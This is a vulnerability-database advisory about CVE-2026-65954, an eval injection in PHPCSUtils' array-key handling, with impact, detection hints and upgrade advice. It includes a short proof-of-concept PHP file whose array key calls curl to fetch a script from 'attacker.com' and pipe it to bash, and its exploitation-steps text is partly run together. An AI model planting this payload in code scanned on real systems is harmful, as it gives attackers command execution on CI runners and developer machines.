
Cloud Vulnerability DB
コミュニティ主導の脆弱性データベース
CVE-2026-65954 is an eval injection vulnerability in PHPCSUtils that allows arbitrary code execution when scanning untrusted PHP code. It affects PHPCSUtils\AbstractSniffs\AbstractArrayDeclarationSniff::getActualArrayKey() in versions 1.0.0-alpha1 through 1.2.2 of the phpcsstandards/phpcsutils Composer package. The vulnerability was privately disclosed by @rodrigoprimo, published as a security advisory on July 27, 2026, and added to the GitHub Advisory Database on September 29, 2026. It carries a CVSS v3.1 base score of 8.6 (High) (GitHub Advisory, PHPCSUtils Advisory).
The root cause is CWE-95 (Improper Neutralization of Directives in Dynamically Evaluated Code / Eval Injection). The getActualArrayKey() method uses PHP's eval() to determine the runtime value of array keys encountered during static analysis, passing token content directly into eval('return ' . $content . ';') without sanitization. An attacker can craft a PHP file containing a malicious array key expression — such as 'system'('id') — that executes arbitrary OS commands when the file is scanned by any sniff extending AbstractArrayDeclarationSniff and calling getActualArrayKey(). Known vulnerable code paths include the PHPCSExtra sniffs Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes; other packages calling the same method may also be affected. The fix (commit 9f596b5) wraps the eval() call in a try/catch block for both Throwable and Exception to handle catchable errors, though the fundamental use of eval() on untrusted input is the underlying design flaw (GitHub Advisory, Fix Commit).
Successful exploitation results in arbitrary OS command execution with the privileges of the process running PHP_CodeSniffer (PHPCS) on the scanning host. This affects confidentiality, integrity, and availability at a high level, with a changed scope indicating impact beyond the vulnerable component itself. The most at-risk environments are CI/CD pipelines that automatically lint pull requests from external contributors, and developer workstations reviewing third-party PHP code — in both cases, the attacker only needs to submit or provide a maliciously crafted PHP file for scanning (GitHub Advisory, PHPCSUtils Advisory).
No public proof-of-concept exploit code has been identified, and there is no evidence of in-the-wild exploitation at this time (GitHub Advisory). The vulnerability requires user interaction (a developer or CI system must scan the malicious file), which limits opportunistic exploitation, but the attack complexity is low and no privileges are required on the target system. The CVE status is currently Reserved, and it has not been added to the CISA KEV catalog. No threat actor attribution is available.
<?php
$arr = [
'system'('curl http://attacker.com/shell.sh | bash') => 'value',
];Universal.Arrays.DuplicateArrayKey or Universal.Arrays.MixedArrayKeyTypes) enabled, or share it with a developer who will scan it locally.AbstractArrayDeclarationSniff::getActualArrayKey(), the method evaluates the array key expression via eval('return ' . $content . ';'), executing the embedded OS command.sh, bash, curl, wget, python, nc) — particularly processes with network activity originating from a CI runner or developer workstation during a code linting job.uid=... from id, or HTTP response data) interleaved with PHPCS scan results; anomalous exit codes or error messages from PHPCS jobs.Upgrade phpcsstandards/phpcsutils to version 1.2.3 or later, which wraps the eval() call in exception handling to prevent malicious code execution (GitHub Advisory, Fix Commit). For users unable to upgrade immediately, disable the vulnerable PHPCSExtra sniffs by adding exclusion rules to your custom PHPCS ruleset — specifically excluding Universal.Arrays.DuplicateArrayKey and Universal.Arrays.MixedArrayKeyTypes. Verify the sniffs are disabled by running phpcs -e --standard=/path/to/ruleset.xml and confirming they no longer appear in the output. Additionally, avoid running PHPCS with vulnerable versions against untrusted PHP code, particularly in automated CI pipelines processing external pull requests (PHPCSUtils Advisory).
The vulnerability was responsibly disclosed by @rodrigoprimo and remediated by the PHPCSUtils maintainer @jrfnl, with @edorian serving as remediation reviewer. The maintainer announced the release on Mastodon (phpc.social) and Twitter/X following the 1.2.3 release. The advisory was tracked by OSV, VulnDB, GitLab Advisories, and Tenable cloud security plugins shortly after publication (PHPCSUtils Advisory).
ソース: このレポートは AI を使用して生成されました
無料の脆弱性評価
9つのセキュリティドメインにわたるクラウドセキュリティプラクティスを評価して、リスクレベルをベンチマークし、防御のギャップを特定します。
パーソナライズされたデモを見る
"私が今まで見た中で最高のユーザーエクスペリエンスは、クラウドワークロードを完全に可視化します。"
"Wiz を使えば、クラウド環境で何が起こっているかを 1 つの画面で確認することができます"
"Wizが何かを重要視した場合、それは実際に重要であることを私たちは知っています。"